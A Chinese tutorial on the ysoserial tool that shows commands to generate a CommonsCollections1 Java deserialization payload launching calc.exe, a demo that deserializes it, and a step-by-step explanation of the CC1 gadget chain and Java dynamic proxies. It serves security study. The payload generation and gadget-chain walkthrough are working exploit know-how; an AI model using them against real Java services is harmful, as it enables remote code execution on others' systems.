ysoserial的使用

1、简介

ysoserial是一个用于生成不安全的java反序列化payload的工具。

https://github.com/frohoff/ysoserial

2、使用

2.1、下载ysoserial-all.jar

2.2、命令

这两条命令可以直接在window下cmd或者powershell上执行。

bash 复制代码
-- 查看工具的帮助文档
java -jar ysoserial-all.jar

-- 列出所有支持的漏洞利用链、对应环境版本限制
java -jar ysoserial-all.jar --list

xxd是linux命令,无法在windows的cmd或者powershell上执行。不过可以在git bash上执行,git bash支持部分linux命令。

bash 复制代码
-- 直接把 CC1 恶意序列化二进制载荷,实时转为十六进制文本展示在屏幕上,
-- 用于人工分析 Payload 内部结构。
java -jar ysoserial-all.jar CommonsCollections1 calc.exe | xxd

-- 保存到payload.txt文件里
java -jar ysoserial-all.jar CommonsCollections1 calc.exe | xxd >payload.txt

-- 生成一个 Java 原生序列化格式(二进制)的 CC1 Gadget Chain 攻击载荷(Payload)。
-- 可以直接反序列化CommonsCollections1.ser触发calc.exe执行。
java -jar ysoserial-all.jar CommonsCollections1 "calc.exe" > CommonsCollections1.ser
java 复制代码
public class App {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        String path="D:\\学习资料\\上海海事大学\\论文\\我的论文\\研究\\相关工具软件\\ysoserial\\CommonsCollections1.ser";
        // 对CommonsCollections1.ser进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(path));
        in.readObject();
        in.close();
    }
}

执行后,再反序列化CommonsCollections1.ser时,会弹出一个计算器。

注意:我使用的是java7环境,因为cc1链最早是在java7环境上发现的。

2.3、查看构造的cc1链

可以使用HxD工具直接查看2.2中生成的CommonsCollections1.ser。

当然这个看起来很乱,可读性很差。建议直接看ysoserial项目中的源码。

java 复制代码
/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

反序列化AnnotationInvocationHandler类时,会调用AnnotationInvocationHandler.readObject()。在这个readObject()方法里会调用到Map.entrySet()。这里使用了代理,实际上调用的是Proxy0.entrySet()。这个Proxy0是:final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);这里的mapProxy。

复制代码
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);这行代码创建了一个AnnotationInvocationHandler对象。
        AnnotationInvocationHandler.readObject() 中的 this.memberValues 保存的是 mapProxy;mapProxy 的真实类型是 JVM 动态生成的 $Proxy0;由于 $Proxy0 是一个动态代理对象,它实现的所有 Map 接口方法(包括 entrySet())都会统一转发给其内部保存的 InvocationHandler.invoke();而这个 InvocationHandler 正是 AnnotationInvocationHandler,因此最终进入 AnnotationInvocationHandler.invoke()。

在AnnotationInvocationHandler.invoke()方法中,Object var6 = this.memberValues.get(var4);这里的memberValues.get()方法,实际调用的是LazyMap.get()。

在LazyMap.get()方法中,调用了Transformer.transform()方法。

Transformer是一个接口,实际执行的实现方法是ChainedTransformer.transform()。因为在CommonsCollections1类中,Transformer接口真正创建的是ChainedTransformer对象。

在ChainedTransformer.transform方法中,会依次调用ConstantTransformer.transform()和InvokerTransformer.transform()。

之所以会调用这两个Transformer实现类的方法,是因为在CommonsCollections1类中构造cc1链的时候,有链接过这两个类的对象。

在InvokerTransformer.transform()方法里会走到method.invoke()方法,

Method.invoke()是java反射机制中最核心的方法之一。其中Method是反射对象,而Method.invoke是利用反射去调用方法。

Method.invoke()第一个参数Object obj表示的是调用者对象实例。第二个参数Object... args是可变参数,允许传多个值,是调用方法时传入的实参列表。

java 复制代码
// 不使用反射
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

// 使用反射
// 第一个参数"exec":指定要查找的目标方法名称
// 后面可变参数列表:依次填写目标方法每个形参的Class类型,数量对应方法形参个数,用于区分重载方法
// 此处仅传入String.class,代表查找仅有1个String类型入参的exec重载方法
Method method = Runtime.class.getMethod("exec", String.class);
// 第一个参数Runtime.getRuntime():调用者。
// 第二个参数calc.exe:exec方法的入参
method.invoke(Runtime.getRuntime(),"calc.exe");

其实最终就是通过反射的方式去执行runtime.exec("calc.exe");

这里是在gadget chain中通过Transformer一层层的传递对象,一步步的利用java反射传递对象,最终达到:Runtime runtime = Runtime.getRuntime();runtime.exec("calc.exe");这两行代码的效果。

3、动态代理

在java中,一个java接口可以有多个实现类。我们在调用接口方法的时候,想要指定用的是哪个实现类的方法。有两种方式。

一种是直接new一个实现类。比如:

java 复制代码
List<String> list=new ArrayList<>();
List<String> list1=new LinkedList<>();

List是接口,ArrayList和LinkedList是List接口的实现类。

另一种方式就是使用动态代理。动态代理就是创建代理对象,由代理对象中的InvocationHandler决定转发给哪个对象。

java 复制代码
package org.example.ProxyTest;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

/**
 * @author: Wulc
 * @createTime: 2026-08-02
 * @description:
 * @version: 1.0
 */


public class MyInvocationHandler implements InvocationHandler {
    private Object target;

    public MyInvocationHandler(Object target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("进入InvocationHandler.invoke()");
        return method.invoke(target,args);
    }
}
java 复制代码
package org.example.ProxyTest;

public interface MyMap {
    Object get(Object key);
}
java 复制代码
package org.example.ProxyTest;

/**
 * @author: Wulc
 * @createTime: 2026-08-02
 * @description:
 * @version: 1.0
 */


public class MyLazyMap implements MyMap{
    @Override
    public Object get(Object key) {
        System.out.println("进入了MyLazyMap.get()");
        return "进入了MyLazyMap.get()";
    }
}
java 复制代码
package org.example.ProxyTest;

/**
 * @author: Wulc
 * @createTime: 2026-08-07
 * @description:
 * @version: 1.0
 */


public class YourLazyMap implements MyMap{
    @Override
    public Object get(Object key) {
        System.out.println("进入了YourLazyMap.get()");
        return "进入了YourLazyMap.get()";
    }
}
java 复制代码
package org.example.ProxyTest;


import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;

/**
 * @author: Wulc
 * @createTime: 2026-08-02
 * @description:
 * @version: 1.0
 */


public class Test {
    public static void main(String[] args) {
        MyLazyMap myLazyMap = new MyLazyMap();
        //创建代理
        MyMap proxy = (MyMap) Proxy.newProxyInstance(
                MyMap.class.getClassLoader(),
                new Class[]{
                        MyMap.class
                },
                new MyInvocationHandler(
                        myLazyMap
                )
        );
        Object result = proxy.get("hello"); // 这里调用的是MyLazyMap.get()方法
        System.out.println(result);

        YourLazyMap yourLazyMap = new YourLazyMap();
        MyMap proxy1 = (MyMap) Proxy.newProxyInstance(
                MyMap.class.getClassLoader(),
                new Class[]{
                        MyMap.class
                },
                new MyInvocationHandler(
                        yourLazyMap
                )
        );
        result = proxy1.get("hello"); // 这里调用的是MyLazyMap.get()方法
        System.out.println(result);
    }
}

以下代码片段,new MyInvocationHandler的时候,传了MyLazyMap对象。先进到了MyInvocationHandler类中,MyInvocationHandler重写了InvocationHandler.invoke()方法,

通过反射的方式去调用target对象的方法

总结一下就是:

动态代理与直接new一个实现类的区别就是,动态代理的目的不仅仅是为了选择一个实现类,而是在调用真正对象的方法之前/之后,插入额外的逻辑,因此就可以通过动态代理去构造危险利用链。

比如在CC1链中,CC1 首先构造一个实现 Map 接口的动态代理对象,使得对该代理对象的 entrySet()、get() 等接口方法调用会被转发到 InvocationHandler.invoke()。这里的 InvocationHandler 是 AnnotationInvocationHandler。在 AnnotationInvocationHandler.invoke() 中,又通过其 memberValues 字段调用 get(),而 memberValues 实际关联到攻击者构造的 LazyMap,因此最终进入 LazyMap.get()。LazyMap.get() 会调用其 Transformer 的 transform() 方法,而这里的 Transformer 实际上是 ChainedTransformer,从而依次执行多个 Transformer,最终通过反射调用危险方法 Runtime.exec(),形成完整的 gadget chain 和最终 sink。

其中某些节点可能具有非常明显的 高连接性、跨链复用性、可达性、数据流传播能力

4、总结

动态代理就是一个调用转发/桥接机制,它可以把调用从一个接口方法动态转发到另一个可控对象的能力。比如把原本无法直接到达的调用路径连接到LazyMap.get()、InvocationHandler.invoke()方法,最终流向sink。

5、参考资料

https://chatgpt.com/

相关推荐
ruleslol1 小时前
volatile 关键字
java
lilian2332 小时前
Harmony os 技术实战|拼豆制图10:把取消、解析失败和保存失败写成可恢复状态机
java·javascript·华为·harmonyos
whn19772 小时前
达梦连接串JDBC测试程序
java·数据库
还是鼠鼠2 小时前
Spring AI ChatClient详解:创建第一个AI客户端
java·springboot·spring ai·chatclient
vHelios3 小时前
【电商项目】测试 授权功能 遇到的问题与解决方案
java·spring boot·sql
2401_894915533 小时前
GEO 定位优化源码搭建常见报错排查:数据库、伪静态、接口调试
java·数据库·网络协议·tcp/ip·spring·unity
bbq粉刷匠3 小时前
ArrayList 整体认识
java·jvm·数据结构
水无痕simon3 小时前
15 转账对接文档
java·区块链
西凉的悲伤3 小时前
Java 基于 MySQL 行锁实现高并发业务序列号生成器
java·mysql·springboot·序列号生成